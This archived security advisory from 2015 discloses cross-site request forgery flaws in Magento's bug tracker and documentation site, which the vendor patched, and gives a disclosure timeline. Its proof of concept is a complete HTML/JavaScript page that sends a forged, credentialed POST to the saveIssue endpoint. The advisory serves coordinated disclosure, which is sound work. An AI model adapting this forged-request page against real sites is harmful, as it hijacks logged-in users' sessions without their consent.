what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Ebay Magento Cross Site Request Forgery

Ebay Magento Cross Site Request Forgery
Posted Nov 17, 2015
Authored by Hadji Samir, Vulnerability Laboratory | Site vulnerability-lab.com

Ebay Magento suffered from multiple cross site request forgery vulnerabilities.

tags | exploit, vulnerability, csrf
SHA-256 | 9100b8e6174a98fe814cca49771a623e8ed97ea3ca97aba563a8cdfb93846e04

Ebay Magento Cross Site Request Forgery

Change Mirror Download
Document Title:
===============
Magento Bug Bounty #24 - Multiple CSRF Web Vulnerabilities


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1643

APPSEC-1122

Video: http://www.vulnerability-lab.com/get_content.php?id=1642



Release Date:
=============
2015-11-11


Vulnerability Laboratory ID (VL-ID):
====================================
1643


Common Vulnerability Scoring System:
====================================
3.4


Product & Service Introduction:
===============================
Magento is an open source e-commerce web application that was launched on March 31, 2008 under the name Bento. It was developed
by Varien (now Magento, a division of eBay) with help from the programmers within the open source community but is now owned
solely by eBay Inc. Magento was built using parts of the Zend Framework. It uses the entity-attribute-value (EAV) database model
to store data. In November 2013, W3Techs estimated that Magento was used by 0.9% of all websites.

Our team of security professionals works hard to keep Magento customer information secure. What`s equally important to protecting
this data? Our security researchers and user community. If you find a site that isn`t following our policies, or a vulnerability
inside our system, please tell us right away.

( Copy of the Vendor Homepage: http://magento.com/security & http://magento.com/security )


Abstract Advisory Information:
==============================
The Vulnerability Laboratory Core Research Team discovered multiple client-side cross site request forgery vulnerabilities in the official Magento online service web-application.


Vulnerability Disclosure Timeline:
==================================
2015-09-24: Researcher Notification & Coordination (Hadji Samir - Evolution Security GmbH)
2015-09-24: Vendor Notification (Magento Security Team - Bug Bounty Program)
2015-09-30: Vendor Response/Feedback (Magento Security Team - Bug Bounty Program)
2015-10-25: Vendor Fix/Patch (Magento Developer Team)
2015-10-30: Bug Bounty Reward (Magento Security Team - Bug Bounty Program)
2015-11-06: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================

Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
Multiple client-side cross site request forgery web vulnerabilities has been discovered in the official Magento online service web-application.
The vulnerability allows remote attacker to manipulate client-side web-application to browser requests to unauthorized execute application functions.

The vulnerability is located in the document form POST method request of the vulnerable `/ce/user_guide/` and `/products/bug-tracking/report/saveIssue/` modules.
Remote attackers with low privileged web-application user accounts are able to inject own malicious script codes to unauthorized execute application functions with
valid session credentials. The request method to inject is POST and the attack vector is located on the client-side of the magento online-service.

The security risk of the cross site web vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.4. Exploitation of the cross
site request forgery web vulnerabilities requires a low privileged web application user account and low or medium user interaction. Successful exploitation results in
client-side account theft by hijacking, client-side phishing, client-side external redirects and non-persistent manipulation of affected or connected service modules.

Request Method(s):
[+] POST

Vulnerable Service(s):
[+] magentocommerce.com
[+] merch.docs.magento.com

Vulnerable Module(s):
[+] /ce/user_guide/
[+] /products/bug-tracking/report/saveIssue/


Proof of Concept (PoC):
=======================
The vulnerabilities can be exploited by remote attackers with low privileged magento web-application user account and low or medium user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

PoC #1: CSRF
<html>
<body>
<script>
function submitRequest()
{
var xhr = new XMLHttpRequest();
xhr.open("POST",
"http://www.magentocommerce.com/products/bug-tracking/report/saveIssue/", true);
xhr.setRequestHeader("Accept",
"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
xhr.setRequestHeader("Content-Type", "multipart/form-data;
boundary=---------------------------19231779319179266351580746291");
xhr.withCredentials = true;
var body =
"-----------------------------19231779319179266351580746291\r\n" +
"Content-Disposition: form-data; name=\"title\"\r\n" +
"\r\n" +
"test\r\n" +
"-----------------------------19231779319179266351580746291\r\n" +
"Content-Disposition: form-data; name=\"type\"\r\n" +
"\r\n" +
"1\r\n" +
"-----------------------------19231779319179266351580746291\r\n" +
"Content-Disposition: form-data; name=\"version\"\r\n" +
"\r\n" +
"17340\r\n" +
"-----------------------------19231779319179266351580746291\r\n" +
"Content-Disposition: form-data; name=\"description\"\r\n" +
"\r\n" +
"\r\n" +
"-----------------------------19231779319179266351580746291\r\n" +
"Content-Disposition: form-data; name=\"steps\"\r\n" +
"\r\n" +
"test\r\n" +
"-----------------------------19231779319179266351580746291\r\n" +
"Content-Disposition: form-data; name=\"files[]\"; filename=\"\"\r\n" +
"Content-Type: application/octet-stream\r\n" +
"\r\n" +
"\r\n" +
"-----------------------------19231779319179266351580746291\r\n" +
"Content-Disposition: form-data; name=\"files[]\"; filename=\"\"\r\n" +
"Content-Type: application/octet-stream\r\n" +
"\r\n" +
"\r\n" +
"-----------------------------19231779319179266351580746291\r\n" +
"Content-Disposition: form-data; name=\"files[]\"; filename=\"\"\r\n" +
"Content-Type: application/octet-stream\r\n" +
"\r\n" +
"\r\n" +
"-----------------------------19231779319179266351580746291\r\n" +
"Content-Disposition: form-data; name=\"files[]\"; filename=\"\"\r\n" +
"Content-Type: application/octet-stream\r\n" +
"\r\n" +
"\r\n" +
"-----------------------------19231779319179266351580746291\r\n" +
"Content-Disposition: form-data; name=\"files[]\"; filename=\"\"\r\n" +
"Content-Type: application/octet-stream\r\n" +
"\r\n" +
"\r\n" +
"-----------------------------19231779319179266351580746291\r\n" +
"Content-Disposition: form-data; name=\"expected_result\"\r\n" +
"\r\n" +
"test\r\n" +
"-----------------------------19231779319179266351580746291\r\n" +
"Content-Disposition: form-data; name=\"actual_result\"\r\n" +
"\r\n" +
"test\r\n" +
"-----------------------------19231779319179266351580746291--\r\n";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
}
</script>
<form action="#">
<input type="button" value="Submit request" onclick="submitRequest();" />
</form>
</body>
</html>

Reference(s):
http://www.magentocommerce.com/
http://www.magentocommerce.com/bug-tracking/
http://www.magentocommerce.com/bug-tracking/report



PoC #2: CSRF

URL: http://merch.docs.magento.com/ce/user_guide/Magento_Community_Edition_User_Guide.html
Note: Remote attackers are able to inject own websites/webpages with fake login for phishing attacks against the login users

Reference(s):
http://merch.docs.magento.com/
http://merch.docs.magento.com/ce/
http://merch.docs.magento.com/ce/user_guide/Magento_Community_Edition_User_Guide.html


Security Risk:
==============
The security risk of the cross site request forgery web vulnerabilities in the magento online service are estimated as medium. (CVSS 3.4)


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Hadji Samir (samir@evolution-sec.com) [http://www.vulnerability-lab.com/show.php?user=Hadji%20Samir]


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed
or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable
in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab
or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for
consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses,
policies, deface websites, hack into databases or trade with fraud/stolen material.

Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com
Contact: admin@vulnerability-lab.com - research@vulnerability-lab.com - admin@evolution-sec.com
Section: magazine.vulnerability-db.com - vulnerability-lab.com/contact.php - evolution-sec.com/contact
Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php
Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register/

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to
electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by
Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website
is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact
(admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission.

Copyright © 2015 | Vulnerability Laboratory - [Evolution Security GmbH]™



--
VULNERABILITY LABORATORY - RESEARCH TEAM
SERVICE: www.vulnerability-lab.com
CONTACT: research@vulnerability-lab.com
PGP KEY: http://www.vulnerability-lab.com/keys/admin@vulnerability-lab.com%280x198E9928%29.txt

Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    8 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    18 Files
  • 19
    Nov 19th
    7 Files
  • 20
    Nov 20th
    13 Files
  • 21
    Nov 21st
    6 Files
  • 22
    Nov 22nd
    48 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    60 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    44 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close